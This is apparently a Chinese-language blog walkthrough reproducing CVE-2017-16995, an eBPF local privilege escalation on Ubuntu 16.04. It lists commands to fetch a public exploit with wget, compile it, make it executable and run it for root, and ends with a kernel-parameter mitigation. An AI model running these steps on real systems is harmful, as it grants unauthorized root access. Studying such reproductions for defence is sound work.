CVE-2017-16995 Ubuntu16.04本地提权漏洞复现

时间:2024-01-18 17:42:02

0x01 前言

该漏洞由Google project zero发现。据悉,该漏洞存在于带有 eBPF bpf(2)系统(CONFIG_BPF_SYSCALL)编译支持的Linux内核中,是一个内存任意读写漏洞。该漏洞是由于eBPF验证模块的计算错误产生的。普通用户可以构造特殊的BPF来触发该漏洞,此外恶意攻击者也可以使用该漏洞来进行本地提权操作。

0x02漏洞影响

Linux Kernel Version 4.14-4.4(影响Debian和Ubuntu发行版)

0x03 测试环境

ubuntu16.04 x64

0x04 测试步骤

1.提权exp下载地址:

http://cyseclabs.com/exploits/upstream44.c

2.cd切换到/opt目录下并下载exp:

cd  /opt   #前提看/opt是不是777权限,不然编译和执行不了exp

wget  http://cyseclabs.com/exploits/upstream44.c

CVE-2017-16995 Ubuntu16.04本地提权漏洞复现

3.有的ubuntu没有安装gcc需要执行安装:

sudo apt-get install gcc

如果缺少一些编译组件,则需要安装lib插件

apt-get install libc6-dev

4.然后利用gcc进行编译

gcc -o exp upstream44.c

CVE-2017-16995 Ubuntu16.04本地提权漏洞复现

5.将exp进行更改为可执行权限

chmod +x  exp

CVE-2017-16995 Ubuntu16.04本地提权漏洞复现

6.运行exp进行提权

./exp

CVE-2017-16995 Ubuntu16.04本地提权漏洞复现

CVE-2017-16995 Ubuntu16.04本地提权漏洞复现

0x05 漏洞修复

目前暂未有明确的补丁升级方案。 临时建议用户在评估风险后,通过修改内核参数限制普通用户使用bpf(2)系统调用:

echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled